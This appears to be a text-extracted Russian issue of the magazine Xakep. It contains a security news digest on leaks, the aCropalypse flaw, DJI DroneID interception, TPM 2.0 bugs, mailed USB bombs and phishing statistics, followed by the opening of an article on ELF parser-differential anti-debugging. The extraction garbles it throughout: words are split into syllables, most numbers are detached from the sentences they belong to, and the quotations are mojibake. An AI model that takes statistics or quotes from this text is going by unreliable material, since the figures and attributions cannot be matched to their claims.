вынудить GitHub пре дос тавить иден тифици рующую информа цию о поль- 
зовате ле FreeSpeechEnthusiast и любом дру гом, кто получил дос туп к утеч ке
и рас простра нял исходные коды Twitter. Получен ные дан ные будут исполь- 
зованы для даль нейших судеб ных исков.

Пред ста вите ли GitHub не сооб щают, сколь ко людей получи ли дос туп
к утек шим исходным кодам Twitter или ска чали их, но у FreeSpeechEnthusiast
было мало под писчи ков. Нес мотря на это, отме чает ся, что утеч ка может
иметь серь езные пос ледс твия для Twitter, так как исходни ки могут быть тща- 
тель но изу чены пос торон ними для выяв ления потен циаль но опас ных уяз- 
вимос тей.

ФИШЕРОВ СТАЛО БОЛЬШЕ
Group-IB сооб щила, что в 2022 году заб локиро вала более  фишин говых сай тов,
из которых более  были обна руже ны в рос сий ском сег менте интерне та, что 

, чем годом ранее.

59  000
7000 в два раза

боль ше

Мо шен ничес кие ресур сы похища ли у рос сиян логины и пароли, дан ные бан ков ских карт, акка- 
унты в мес сен дже рах.

Ес ли в 2021 году количес тво заб локиро ван ных СERT-GIB ресур сов в интерне те сос тавило
, то в 2022 году их чис ло уве личи лось до .31 455 59 282

В зонах .ru и .рф количес тво заб локиро ван ных сай тов вырос ло более чем вдвое: с 
до .

3210
7121

В целом за прош лый год толь ко в зонах .ru и .рф спе циалис ты обна ружи ли  фишин говых
доменов (в 2021 году их чис ло сос тавля ло  домена).

20 170
15 363

Зло умыш ленни ки поль зовались услу гами хос тинг-про вай деров, рас положен ных в основном
в ,  и . При этом каж дый тре тий сайт мошен ников был в домен ной зоне
.com (  от обще го чис ла ресур сов).

США Рос сии Гер мании
33,8%

ACROPALYPSE
УГРОЖАЕТ WINDOWS
И PIXEL

Раз работ чики Microsoft экс трен но обно вили инс тру мен ты Snipping Tool и Snip
and Sketch («Нож ницы») в Windows 10 и 11, испра вив недав но обна ружен ную
уяз вимость, получив шую наз вание aCropalypse. Баг поз волял вос ста новить
ори гинал любого изоб ражения, отре дак тирован ного с помощью «Нож ниц».

Из началь но проб лему  (CVE-2023-21036) обна ружи ли
в устрой ствах Google Pixel и свя зали с редак тором скрин шотов Markup,
который появил ся на смар тфо нах в 2018 году, с релизом Android 9.0 Pie.

aCropalypse

Суть уяз вимос ти зак лючалась в том, как имен но файл изоб ражения откры- 
вает ся для редак тирова ния и сох раня ется: обре зан ные или зак рашен ные
при помощи Markup дан ные все рав но оста ются в новом сох ранен ном фай ле,
что поз воля ет вос ста новить при мер но 80% исходной кар тинки.

Вос ста нов ление зак рашен ного номера бан ков ской кар ты

Ис сле дова тели пре дуп режда ли, что aCropalypse может рас кры вать кон- 
фиден циаль ную информа цию поль зовате лей, если они ког да-либо редак- 
тирова ли изоб ражение с помощью Markup, а затем делились этим фай лом
с дру гими людь ми или пуб ликова ли его в интерне те.

Из-за уяз вимос ти утечь в сеть мог ла самая раз ная информа ция, вклю чая
кон фиден циаль ные дан ные из докумен тов, дан ные о мес тополо жении, кон- 
фиден циаль ные URL-адре са на скрин шотах бра узе ра, номера бан ков ских
карт, лица и дру гие нежела тель ные под робнос ти на откро вен ных фото. Сло- 
вом, все то, что обыч но обре зают и замазы вают на фотог рафи ях и скрин- 
шотах.

Вско ре пос ле рас кры тия дан ных об ори гиналь ной проб леме выяс нилось,
что эта уяз вимость пред став ляет опас ность и для инс тру мен тов Snipping Tool
и Snip and Sketch в Windows 10 и 11. В дан ном слу чае точ но так же воз можно
час тично вос ста новить ори гиналь ный вид ранее обре зан ных кар тинок.

Эк спер ты про демонс три рова ли успешное вос ста нов ление изоб ражений
в фор мате PNG и допус тили, что то же самое мож но про делать и с фай лами
JPG.

В ито ге проб леме был прис воен иден тифика тор .
В Windows 11 для ее устра нения сле дует обно вить Snipping Tool до вер- 
сии 11.2302.20.0, а в Windows 10 патч получил Snip and Sketch вер- 
сии 10.2008.3001.0.

CVE-2023-28303

Те перь при обрезке изоб ражения и переза писи исходно го фай ла инс тру- 
мент уда ляет неис поль зуемые дан ные кор рек тно, а не помеща ет их в конец
фай ла, пос ле IEND.

НА  СНИЗИЛАСЬ СКОРОСТЬ МОБИЛЬНОГО
ИНТЕРНЕТА В РФ

7%

По дан ным TelecomDaily, в фев рале 2023 года ско рость мобиль ного интерне та в реги онах Рос- 
сии сни зилась на  по срав нению с пре дыду щим годом (до ). При этом в Мос кве
ско рость мобиль ного интерне та вырос ла на  до .

7% 18,3 Мбит/с
32% 34,7 Мбит/с

Ис сле дова тели объ ясня ют ухуд шение дос тупа дефици том сетево го обо рудо вания и уста нов кой
новых базовых стан ций в пер вую оче редь в круп ных городах. Гла ва TelecomDaily Денис Кус ков
отме чает, что сетевое обо рудо вание пос тепен но уста рева ет и тре бует модер низации, а склад- 
ские запасы не без гра нич ны. Имен но поэто му рас тет раз рыв в качес тве интернет-дос тупа меж- 
ду сто лицей и реги она ми. Опе рато ры наращи вают про пус кную спо соб ность сетей мед леннее,
чем рас тет интернет-тра фик.

ДРОНЫ DJI
РАСКРЫВАЮТ
ЛОКАЦИЮ
ОПЕРАТОРОВ

Спе циалис ты из Рур ско го уни вер ситета в Бохуме и Цен тра информа цион ной
безопас ности име ни Гель мголь ца в Гер мании (CISPA) рас ска зали, что им
уда лось рас шифро вать сиг налы, переда ваемые дро нами DJI. Ока залось, что
устрой ства тран сли руют не толь ко свои GPS-коор динаты и уни каль ный ID
дро на, но и GPS-коор динаты сво его опе рато ра.

Ис сле дова тели пишут, что такие девай сы ста новят ся все вос тре бован нее
в зонах боевых дей ствий, ведь они могут вес ти наб людение на боль шой
высоте, про водить раз ведку и даже исполь зовать ся как ору жие, тог да как их
опе ратор надеж но скрыт на рас сто янии до нес коль ких километ ров от дро на.

Од нако ока залось, что мес тополо жение пилотов не такая уж боль шая тай- 
на. Фак тичес ки любой человек, у которо го есть прос тое и дешевое ради- 
ообо рудо вание, может перех ватить сиг налы дро нов и рас шифро вать их,
таким обра зом получив коор динаты пилота.

В сво ем док ладе уче ные рас ска зыва ют, что им уда лось рас шифро вать ради- 
осиг налы дро нов DJI и декоди ровать исполь зуемый ими ради опро токол
DroneID. Деконс тру иро вав сиг налы, иссле дова тели уви дели, что каж дый дрон
DJI переда ет по про токо лу DroneID не толь ко свои GPS-коор динаты и уни- 
каль ный иден тифика тор дро на, но и GPS-коор динаты сво его опе рато ра.

Ис ходно сис тема DroneID ком пании DJI соз давалась для того, что бы поз- 
волить пра витель ствам, регули рующим орга нам и пра воох раните лям кон тро- 
лиро вать бес пилот ники и пре дот вра щать зло упот ребле ния ими. Но хакеры
и ИБ-иссле дова тели уже дав но говорят о том, что DroneID не зашиф рована
и откры та для любого, кто спо собен при нимать ради осиг налы.

Так, DroneID уже под верга лась кри тике прош лой вес ной, ког да укра инские
влас ти рас кри тико вали ком панию за то, что рос сий ские воен ные исполь зуют
дро ны DJI для наведе ния ракет, а так же опре деля ют мес тонахож дение опе- 
рато ров укра инских дро нов DJI по их ради осиг налам. В ответ на это ком пания
вооб ще заяви ла о недопус тимос ти исполь зования сво их пот ребитель ских
бес пилот ников в воен ных целях, а затем прек ратила про дажи устрой ств как в
Рос сии, так и на Укра ине.

При этом китай ский про изво дитель уже дав но про дает государс твен ным
регуля торам и пра воох ранитель ным орга нам спе циаль ное устрой ство
Aeroscope, которое поз воля ет перех ватывать и декоди ровать дан ные
DroneID, опре деляя мес тополо жение любого дро на и его опе рато ра на рас- 
сто янии до 48 км.

Ра нее в ком пании под черки вали, что про токол DroneID зашиф рован и,
сле дова тель но, недос тупен для тех, у кого нет устрой ства Aeroscope, которое
любой жела ющий при обрести прос то не смо жет. Одна ко поз же ИБ-иссле- 
дова тель Кевин Финис терре (Kevin Finisterre) про демонс три ровал перех ват
некото рых дан ных DroneID при помощи сво бод но дос тупно го SDR Ettus.
В ито ге пред ста витель DJI приз нал в беседе с жур налис тами, что переда чи
на самом деле не зашиф рованы.

В сво ем док ладе немец кие уче ные про демонс три рова ли, что сиг налы дро- 
нов дей стви тель но могут быть рас шифро ваны и про чита ны и без вся кого
Aeroscope, что поз воля ет прос лушивать DroneID для точ ного опре деле ния
положе ния как самого бес пилот ника, так и его опе рато ра.

В качес тве доказа тель ства сво их выводов иссле дова тель ская груп па
опуб ликова ла на  про тотип инс тру мен та для получе ния и рас шифров ки
дан ных DroneID.

GitHub

Ис сле дова тели пош ли даже даль ше, чем Финис терре: они изу чили про- 
шив ку дро на DJI и его ради освязь, отре вер сили DroneID и соз дали инс тру- 
мент, который может при нимать переда чи DroneID с помощью уже упо мяну- 
того выше Ettus или более дешево го HackRF, который сто ит все го нес коль ко
сотен дол ларов (по срав нению с 1000+ дол ларов за устрой ства Ettus). В ито- 
ге это поз воля ет выпол нять все дос тупные Aeroscope дей ствия без него
самого.

Хо тя иссле дова тели тес тирова ли перех ват сиг налов лишь на рас сто янии
от 15 до 25 футов (от 4,5 до 7,5 м), они отме чают, что даже не пытались уве- 
личить рас сто яние, так как его воз можно без тру да рас ширить с помощью
допол нитель ных тех ничес ких решений.

Те перь ИБ-экспер ты и СМИ пред полага ют, что, незави симо от мотивов,
которы ми ком пания DJI руководс тво валась, соз давая DroneID и рек ламируя
Aeroscop как единс твен но под ходящее устрой ство для перех вата сиг налов,
дос тупность информа ции о мес тополо жении опе рато ра дро на и тот факт, что
эти дан ные мож но лег ко перех ватить (без вся кого Aeroscope), ока жут серь- 
езное вли яние на исполь зование квад рокоп теров в зонах боевых дей ствий
и дру гих враж дебных усло виях.

В США ПЫТАЮТСЯ ЗАПРЕТИТЬ TIKTOK

В начале мар та комитет палаты пред ста вите лей кон грес са США при нял законоп роект, который
может поз волить пре зиден ту пол ностью зап ретить TikTok в стра не. В кон це 2022 года соц сеть
уже зап ретили уста нав ливать на государс твен ные устрой ства более чем в 20 шта тах, а некото- 
рые уни вер ситеты заб локиро вали его в Wi-Fi-сетях сво их кам пусов.

По лити ки говорят, что TikTok, при над лежащий китай ской ком пании ByteDance и нас читыва- 
ющий 150 мил лионов поль зовате лей в США, может угро жать наци ональ ной безопас ности стра- 
ны.

→ «Зачем впус кать тро янско го коня в свою кре пость? Зачем прив носить эту
воз можность в США, ког да китай цы могут манипу лиро вать дан ными, которые
мы видим, и либо вклю чать в них то, что они хотят показать нашему населе нию
(в том чис ле матери алы, вызыва ющие раз ногла сия в общес тве), либо уда лять
то, что выс тавля ет их в пло хом све те и что они не хотели бы показать аме рикан- 
ско му народу?»

— такими воп росами задавал ся Роб Джойс, гла ва отде ла кибер безопас ности в АНБ, на кон- 
ферен ции Silverado Accelerator Conference, про шед шей в кон це мар та.

Продолжение статьи →

http://github.com/github/dmca/blob/master/2023/03/2023-03-24-twitter.md
https://github.com/FreeSpeechEnthusiast
https://xakep.ru/2023/03/21/acropalypse/
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28303
https://github.com/RUB-SysSec/DroneSecurity
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ЖУРНАЛИСТУ
ПРИСЛАЛИ ФЛЕШКУ
С БОМБОЙ

По лиция Эква дора рас сле дует мас совую ата ку на меди аор ганиза ции по всей
стра не. Жур налист и ведущий Ecuavisa был ранен пос ле того, как при под клю- 
чении к компь юте ру взор валась USB-флеш ка, которую он получил по поч те.
Такие же девай сы были отправ лены в редак ции еще как минимум пяти эква- 
дор ских СМИ.

Гла ва отде ла уго лов ных рас сле дова ний наци ональ ной полиции Эква дора
Хавь ер Чан го Льере на (Xavier Chango Llerena) заявил, что влас ти обна ружи ли
кон верты с пред полага емы ми взрыв ными устрой ства ми в редак циях
еще четырех СМИ: двух в Гуаяки ле и двух в Кито. Еще одна взры воопас ная
флеш ка была най дена на скла де ком пании по дос тавке посылок.

В резуль тате взры ва USB-накопи теля пос тра дав ший жур налист Ecuavisa
Ленин Арти еда (Lenin Artieda) получил трав мы рук и лица. По дан ным полиции,
Арти еде повез ло — взор валась толь ко полови на заложен ного в USB-накопи- 
тель заряда, и исход мог быть более печаль ным, если бы все прош ло так,
как пла ниро вали зло умыш ленни ки.

Так же сооб щает ся, что акти вация взрыв ного устрой ства мог ла про изой ти
от элек три чес кого заряда, который флеш ка получи ла при под клю чении.
По сло вам Льере ны, накопи тель мог содер жать гек соген, хотя это пока
не под твержде но лабора тор ным ана лизом.

Ор ганиза ция по защите инте ресов прес сы и сво боды сло ва Fundamedios
осу дила это нападе ние и сооб щила, что еще минимум трое жур налис тов,
в том чис ле из TC Televisión, Teleamazonas и радио Exa FM, получи ли по поч те
такие USB-накопи тели и пись ма с угро зами.

В час тнос ти, Аль варо Росеро (Álvaro Rosero), работа ющий на ради- 
останции Exa FM, получил кон верт с ана логич ной флеш кой 15 мар- 
та 2023 года. Он отдал устрой ство сво ему про дюсе ру, который исполь зовал
кабель с адап тером для под клю чения флеш ки к компь юте ру. В этот раз
накопи тель не взор вался. Полиция уста нови ла, что в устрой стве содер жалась
взрыв чатка, но из-за адап тера, исполь зован ного про дюсе ром, заряд не акти- 
виро вал ся.

ИБ-спе циалист и инже нер Май кл Гро вер (Michael Grover), так же извес тный
под ником MG, которо го мно гие зна ют как авто ра 

,  взры вающиеся USB-флеш ки еще в 2018 году (исклю- 
читель но как PoC и в качес тве шут ки), а мы тог да пос вятили иссле дова ниям
MG .

вре донос ного кабеля
O.MG де монс три ровал

боль шую статью

«

»

«Äàæå ìàëåíü êèé ôëåø íàêîïè òåëü îïà ñåí ñ ÷åì òî âðî äå „ñåì  
òåêñà“ íà áîð òó è äîñ òàòî÷ íî áûñ òðî äåé ñòâó þùèì çàïàëîì. Âàøà
ðóêà áóäåò íàõîäèòü ñÿ ïðÿ ìî íà íàêîïè òåëå, êîã äà íà íåãî áóäåò
ïîäàíî ïèòàíèå, — îáú ÿñíèë Ãðî âåð òåïåðü. — Íå ìîãó ñêà çàòü,
èñïîëü çîâàëèñü ëè òàêèå àòà êè â ðåàëü íîñ òè, íî ìåíÿ ñîâ ñåì íå óäè  
âèò, åñëè èñïîëü çîâàëèñü. ß çíàþ íåñ êîëü êî èçäà íèé, ãäå âñþ ïî÷ òó
ñêà íèðó þò íà íàëè÷èå âçðûâ ÷àòûõ âåùåñòâ è äðó ãèõ îïàñ íûõ ïðåä  
ìåòîâ».

Ис сле дова тель говорит, что подоб ные ата ки, к сожале нию, могут быть весь ма
эффектив ными для тер рорис тов. MG наде ется, что про изо шед шее вынудит
боль шее количес тво изда ний тща тель но про верять вхо дящую кор респон- 
денцию.

Кто имен но посыла ет такой «сиг нал» жур налис там, пока оста ется неяс- 
ным. Fundamedios пишет, что одно из сооб щений, соп ровож давших опас ную
флеш ку, было нап равле но про тив неус танов ленной полити чес кой груп пы,
дру гое гла сило, что на накопи теле пред став лены матери алы, которые разоб- 
лачат Correísmo (эква дор ское полити чес кое дви жение, наз ванное в честь
быв шего пре зиден та Рафа эля Кор реа). Кро ме того, пос ледние нес коль ко лет
в стра не наб люда ется всплеск прес тупнос ти, который пре зидент Гиль ермо
Лас со свя зыва ет с незакон ным обо ротом нар котиков (если точ нее,
с деятель ностью нар кокар телей).

ПРОДАЖА ДОСТУПОВ К СЕТЯМ ПРЕДПРИЯТИЙ
Эк спер ты Positive Technologies про вели иссле дова ние киберуг роз 2022 года, акту аль ных
для про мыш ленных орга низа ций. Выяс нилось, что количес тво дос тупов к инфраструк туре орга- 
низа ций из этой сфе ры, выс тавлен ных на про дажу в 2022 году, вырос ло с  до  — более
чем на .
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40%

Тор говля дос тупами сос тавила  всех объ явле ний, отно сящих ся к про мыш леннос ти, и их
сто имость обыч но колеб лется от  до  дол ларов США.
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Ин дус три аль ный сек тор прив лека ет лег ким заработ ком даже малок валифи циро ван ных прес- 
тупни ков: они получа ют пер воначаль ный дос туп, а затем про дают его более ком петен тным зло- 
умыш ленни кам для даль нейше го раз вития ата ки.

На про тяже нии пос ледних четырех лет этот сек тор вхо дит в трой ку самых ата куемых отраслей:
 успешная ата ка на орга низа ции при ходит ся на про мыш ленные пред при- 

ятия.
каж дая десятая

В общей слож ности в про мыш ленных ком пани ях было зафик сирова но  инци ден та, выз- 
ванных ата ками зло умыш ленни ков, и это на  боль ше, чем в 2021 году. Боль ше все го инци- 
ден тов ( ) приш лось на вто рой квар тал 2022 года, и поч ти все ата ки ( ) на орга низа ции
это го сек тора были целевы ми.
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В боль шинс тве атак ( ) хакеры при меня ли вре донос ное ПО, поч ти в полови не ( ) —
методы соци аль ной инже нерии, а еще в  слу чаев экс плу ати рова ли уяз вимос ти ПО.

70% 44%
43%

 всех успешных атак в этой сфе ре при вели к утеч кам дан ных, которые в пер вую оче редь
зат ронули све дения, содер жащие ком мерчес кую тай ну и пер сональ ную информа цию.
56%

ВЫЯВЛЕНЫ
УЯЗВИМОСТИ
В TPM 2.0

Эк спер ты из ком пании Quarkslab обна ружи ли две серь езные уяз вимос ти
в спе цифи кации биб лиоте ки  (TPM) 2.0. Проб лемы
могут поз волить аутен тифици рован ному локаль ному ата кующе му переза- 
писать защищен ные дан ные в TPM, а так же выпол нить про изволь ный код.
Иссле дова тели пре дуп режда ют, что эти проб лемы могут зат рагивать мил- 
лиар ды устрой ств.

Trusted Platform Module

Уяз вимос ти получи ли иден тифика торы CVE-2023-1017 (чте ние out-of-
bounds) и CVE-2023-1018 (запись out-of-bounds). Обе проб лемы свя заны
с обра бот кой парамет ров для некото рых команд TPM и поз воля ют зло умыш- 
ленни ку экс плу ати ровать их, отправ ляя TPM вре донос ные коман ды
для выпол нения кода.

Сог ласно бюл летеню безопас ности, выпущен ному Trusted Computing
Group, раз работ чиком спе цифи кации TPM, эти уяз вимос ти, свя зан ные
с перепол нени ем буфера, могут при вес ти к рас кры тию информа ции
или повыше нию при виле гий. Ито говое вли яние проб лем зависит от того,
как про изво дитель реали зовал работу с кон крет ной областью памяти: явля- 
ется ли она неис поль зуемой или содер жит опе ратив ные дан ные.

Спе циалис ты Quarkslab говорят, что круп ные тех ничес кие пос тавщи ки,
орга низа ции, исполь зующие кор поратив ные компь юте ры, сер веры, IoT-
устрой ства и встро енные сис темы, вклю чающие TPM, могут пос тра дать
от этих уяз вимос тей. В целом же, по сло вам иссле дова телей, баги «могут зат- 
рагивать мил лиар ды устрой ств».

Эк спер ты CERT уже заяви ли, что в течение нес коль ких месяцев информи- 
рова ли пос тавщи ков о багах, стре мясь повысить осве дом ленность и умень- 
шить пос ледс твия. К сожале нию, в ито ге лишь нес коль ко орга низа ций под- 
твер дили, что они зат ронуты CVE-2023-1017 и CVE-2023-1018.

По ка Lenovo — единс твен ный круп ный OEM-вен дор, выпус тивший собс- 
твен ные рекомен дации по безопас ности и пре дуп редив ший, что CVE-2023-
1017 вли яет на  ком пании, работа ющие на Nuvoton TPM
2.0.

не кото рые из сис тем

В CERT пре дуп режда ют, что экс плу ата ция этих уяз вимос тей либо поз воля- 
ет получить дос туп к кон фиден циаль ным дан ным для чте ния, либо дает воз- 
можность переза писать обыч но защищен ные дан ные, дос тупные толь ко
для TPM (нап ример, крип тогра фичес кие клю чи).

Всем зат ронутым вен дорам необ ходимо перей ти на исправ ленную вер- 
сию спе цифи кации:
• TMP 2.0 v1.59 Errata вер сии 1.4 или выше;
• TMP 2.0 v1.38 Errata вер сии 1.13 или выше;
• TMP 2.0 v1.16 Errata вер сии 1.6 или выше.

Поль зовате лям рекомен дует ся как мож но ско рее ,
выпущен ные Trusted Computing Group, а так же дру гими пос тавщи ками.

при менить обновле ния

В вычис литель ных сре дах с высокой сте пенью надеж ности поль зовате лям
так же рекомен дуют рас смот реть воз можность исполь зования TPM Remote
Attestation для обна руже ния любых изме нений и обес печения защиты TPM
от взло ма.

НА  КОМПЬЮТЕРОВ АСУ ЗАБЛОКИРОВАНЫ
ВРЕДОНОСНЫЕ ОБЪЕКТЫ

39%

Ана лити ки Kaspersky ICS CERT под счи тали, что во вто рой полови не 2022 года вре донос ные
объ екты были заб локиро ваны на  компь юте ров сис тем авто мати зации в Рос сии.39%

Ху же того, Рос сия вош ла в трой ку лидеров в рей тин ге реги онов мира по доле заб локиро ван ных
вре донос ных объ ектов на компь юте рах АСУ. Рост по срав нению с пер вым полуго дием сос тавил

 — это наибо лее зна читель ное изме нение сре ди всех иссле дуемых
реги онов.
9 про цен тных пун ктов

Эк спер ты свя зыва ют этот рост с уве личе нием доли компь юте ров АСУ, которые были ата кова ны
вре донос ными объ екта ми из интерне та: их количес тво вырос ло на 
по срав нению с пер вым полуго дием. К таким угро зам отно сят ся в том чис ле вре донос ные
скрип ты и фишин говые стра ницы (JS и HTML). Они были заб локиро ваны поч ти на каж дом пятом
компь юте ре АСУ ( ).

12 про цен тных пун ктов

18%

УТЕКЛИ ДАННЫЕ
«СБЕРСПАСИБО»

ИБ-иссле дова тели сооб щили, что в откры том дос тупе появи лись две час ти
дам па, пред положи тель но получен ного из мобиль ного при ложе ния бонус ной
прог раммы «Сбер Спа сибо» (spasibosberbank.ru).

По дан ным спе циалис тов Data Leakage & Breach Intelligence (DLBI),
информа цию слил тот же зло умыш ленник, который сто ит за недав ними утеч- 
ками дан ных сер висов « » и « ». В общей слож ности
были обна родо ваны 51 977 405 уни каль ных номеров телефо нов
и 3 298 456 уни каль ных email-адре сов.

Сбер Пра во Сбер Логис тика

Струк тура обо их сли вов сов пада ет: в дам пах содер жатся номера телефо- 
нов, даты рож дения, даты регис тра ции в сер висе, дата пос ледне го вхо да,
а так же хеширо ван ные (SHA-1 без соли) номера бан ков ских карт,
как основной, так и допол нитель ных.

Еще во вре мя пер вого сли ва экспер ты пре дуп редили, что, хотя номера бан- 
ков ских карт хра нят ся в одном из фай лов в виде хеша, из-за исполь зования
уста рев шего алго рит ма SHA-1 «вос ста новить» реаль ные зна чения карт
не сос тавит никако го тру да (при помощи обыч ного перебо ра). При этом толь- 
ко в пер вом дам пе спе циалис ты нас читали 100 092 292 уни каль ных хеша.

Вы бороч ная про вер ка номеров бан ков ских карт (через перево ды с кар ты
на кар ту) показа ла, что часть из них дей стви тель ны и перевод на них воз- 
можен, а часть карт, видимо, уже неак тивна, так как перевод невоз можен.

Пред ста вите ли «Сбер Спа сибо» сооб щили СМИ, что про верят информа- 
цию о воз можной утеч ке:

«
»

«Ìû ïðî âåðÿ åì èíôîðìà öèþ è åå äîñ òîâåð íîñòü. Ïîäîá íûå ñîîá  
ùåíèÿ âîç íèêà þò ÷àñ òî è, êàê ïðà âèëî, ñâÿ çàíû ñ ìîøåí íèêàìè,
êîòîðûå ïûòà þòñÿ ïðî äàòü êîì ïèëÿöèè ñòà ðûõ áàç äàí íûõ ïîä âèäîì
îðè ãèíàëü íûõ», — çàÿâè ëè â êîì ïàíèè.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Под дер жка Microsoft «взла мыва ет» Windows поль зовате лей из-за проб лем с акти ваци ей

UEFI-бут кит BlackLotus обхо дит защиту даже в Windows 11

Уяз вимость в про токо ле Wi-Fi IEEE 802.11 поз воля ет перех ватывать сетевой тра фик

Эк спер ты: из чат-бота Bing может получить ся убе дитель ный мошен ник

Мал варь Hiatus ата кует роуте ры биз нес-клас са, прев ращая их в устрой ства для шпи она жа

Microsoft Excel будет по умол чанию бло киро вать надс трой ки XLL

На 4chan опуб ликова ли язы ковую ИИ-модель LLaMa, соз данную Facebook *

Бра зиль ские влас ти кон фиску ют Flipper Zero, что бы устрой ства не исполь зовались в прес- 
тупных целях

GPT-4 обма ном вынудил челове ка решить для него CAPTCHA, прит ворив шись сла бови дящим

Эк спер ты Google наш ли 18 уяз вимос тей в чип сетах Samsung Exynos

* Ïðè íàä ëåæèò êîì ïàíèè Meta, ÷üÿ äåÿòåëü íîñòü ïðèç íàíà ýêñ òðå  

ìèñò ñêîé è çàï ðåùåíà â Ðîñ ñèè.

https://xakep.ru/2022/08/29/o-mg-elite/
https://www.youtube.com/watch?v=fV6ajbDOLbQ
https://xakep.ru/2018/07/18/mr-self-destruct/
https://ru.wikipedia.org/wiki/Trusted_Platform_Module
https://support.lenovo.com/us/en/product_security/len-118320
https://trustedcomputinggroup.org/resource/errata-for-tpm-library-specification-2-0/
https://xakep.ru/2023/03/09/sberpravo-leak/
https://xakep.ru/2023/02/28/sblogistica-leak/
https://xakep.ru/2023/03/17/windows-crack/
https://xakep.ru/2023/03/02/blacklotus-eset/
https://xakep.ru/2023/03/29/ieee-802-11-flaw/
https://xakep.ru/2023/03/06/indirect-prompt-injection/
https://xakep.ru/2023/03/09/hiatus/
https://xakep.ru/2023/03/09/untrusted-xll/
https://xakep.ru/2023/03/09/na-4chan-opublikovali-yazykovuyu-ii-model-llama-sozdannuyu-facebook/
https://xakep.ru/2023/03/13/flipper-brazil/
https://xakep.ru/2023/03/16/gpt-4-vs-captcha/
https://xakep.ru/2023/03/17/samsung-exynos-flaws/
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Из мно жес тва тех ник анти отладки одна сто- 
ит особ няком: ее суть — не задетек тить
дебаг гер, а не допус тить запус ка в нем при- 
ложе ния. Погово рим о том, как это дос тига- 
ется, о parser differentials и фаз зинге.
А потом получим такие эль фы, что бы их
с руганью не откры ли отладчик и дизас сем- 
блер, но что бы они прек расно запус тились
в род ной сре де оби тания — Linux.

В целом пар серы — нас тоящий кла дезь для поис ка багов. И чем слож нее
обра баты ваемый фор мат, тем боль ше мож но най ти инте рес ного. Взять,
к при меру, XML. Он широко исполь зует ся — ска жем, для опи сания докумен- 
тов и пре зен таций, SOAP и RSS. И сколь ко проб лем он несет: с его помощью
реали зова ны XML-бом бы c billion laughs  дав ности, XXE-ата ки,
ошиб ки в , поз воля ющие сбе жать из песоч ницы в iOS
13 и .

20-лет ней
от дель ных реали заци ях

чи тать чужие SMS

WWW

У LiveOverow есть неболь шое видео о том,
как он соз давал запус каемый файл, который тем
не менее невоз можно открыть в GDB и Radare2:

. Этот ролик и положил начало
моему ресер чу.

Uncrackable Program? Finding a Parser Differential
in loading ELF

Language-theoretic Security è ôàéëû-ïîëèãëîòû
Пар серы, как сле дует из наз вания, занима ются раз бором (пар сингом) неко- 
его язы ка, который опре деля ется грам матикой. И это каса ется не толь ко язы- 
ков прог рамми рова ния, но и фор матов фай лов и про токо лов.

Бе зопас ности язы ков, или Language-theoretic Security, пос вящен сайт
. Если нач нешь углублять ся в эту тему, име на иссле дова телей будут

попадать ся тебе доволь но час то. Нап ример, имя Сер гея Бра туся (Sergey
Bratus) в кон тек сте изу чения инте рес ностей ELF и так называ емых 

 и Мередит Пат терсон (Meredith L. Patterson) в кон тек сте изу чения
про токо лов и пар серов грам матик.

langsec

weird
machines

Так что же это за langsec такой? Про ще, мне кажет ся, поп робовать объ- 
яснить «на паль цах». В интервью IOHK Мередит Пат терсон ,
как начинал ся langsec, — с обсужде ния, что, сог ласно теории фор маль ных
язы ков, филь тры в виде регуляр ных выраже ний никог да не победят SQL-инъ- 
екции.

рас ска зыва ла

Дру гая вещь, которую изу чают ребята из langsec, — поиск несо ответс твий
теории и прак тики, а имен но проб лем в реали заци ях раз личных фор матов
и как это может быть про экс плу ати рова но. Одной из основных проб лем
называ ют сле дова ние закону Пос тела, который гла сит:

« »Áóäü òå êîí ñåðâà òèâ íû â òîì, ÷òî îòïðàâ ëÿåòå, è ëèáåðàëü íû â òîì,
÷òî ïðè íèìà åòå.

Из началь но такой под ход дол жен был обес печивать надеж ность работы TCP.
Сей час, одна ко, из-за это го прин ципа вре мен зари интерне та могут слу чать- 
ся инте рес ные казусы. Один из них — это так называ емые фай лы-полиг лоты.
Ведь файл — это лишь набор бай тов, и то, как они будут интер пре тиро ваны,
зависит от пар сера. А пар серы порой край не лояль но отно сят ся к откло нени- 
ям от спе цифи каций и про буют вос ста новить недос тающие дан ные из кон тек- 
ста либо игно риру ют откро вен но невалид ные зна чения отдель ных полей.

Бла года ря это му , нап ример, сов местить скрипт, содер жащий
питоний веб-сер вер и про чие плюш ки, с валид ным PDF. Это отно ситель но
лег ко мож но сде лать из-за некото рых осо бен ностей реали зации это го стан- 
дарта,  нефик сирован ное положе ние сиг натуры PDF внут ри фай ла
и даже воз можность пол ного ее отсутс твия.

мож но

та ких как

По мимо того что соз дание таких фай лов — занят ная раз минка для моз га,
они, как утвер жда ется, могут ока зать ся полез ными при тес тирова нии сис тем
для обхо да филь тров по типам фай лов. Таким фай лам пос вящен далеко
не один ресерч, и есть даже целый фор мат , 

 сов меща ющий в себе PE, ELF, Mach-O, sh и bootsector.
По завере ниям авто ра, этот фор мат спо собен без изме нений запус кать ся
на Linux, Mac, Windows, BSD и зачем-то на голом BIOS.

αcτµαlly pδrταblε εxεcµταblε хит- 
рым обра зом

INFO

На тему фай лов-полиг лотов очень мно го
информа ции мож но най ти у 
( ), извес тно го так же как .
И весь ма зас лужен но — в его репози тори ях мож- 
но отыс кать мно жес тво пос теров с наг лядным
пред став лени ем кучи фор матов: исполня емых
фай лов, докумен тов, кар тинок, архи вов и не
толь ко, а так же раз личных заметок.

Ange Albertini
corkami the le format guy

Там же находит ся репози торий ,
содер жащий мно го занят ных ста тей, помимо пос- 
вящен ных полиг лотам. Забав но, но PDF с его
стать ями на самом деле тоже боль ше чем прос то
PDF.

PoC||GTFO

В общем, абь юзить пар серы фай лами-полиг лотами доволь но весело.
Но погово рим теперь о более целенап равлен ном зле, а затем испро буем его
на прак тике.

PARSE TREE DIFFERENTIAL ATTACK

Пер вое упо мина ние ата ки с таким име нем наш лось в пре зен тации 2010 года
Мередит Пат терсон и Лена Сас самана, пос вящен ной грам матикам про токо- 
лов. Там была рас смот рена ата ка, име нуемая arse tree differential attack —
что-то типа «ата ки на раз ность деревь ев раз бора», на пар серы X.509. О ней
мы погово рим чуть ниже.

В работе Security Applications of Formal Language Theory, 
в 2013 году, авто ры рас смат рива ют непос редс твен но саму ата ку уже более
под робно.

опуб ликован ной

INFO

Нас коль ко я могу судить, тер мин parser
differentials, нес мотря на то что сущес тву ет боль- 
ше десяти лет, не осо бо в ходу за пре дела ми
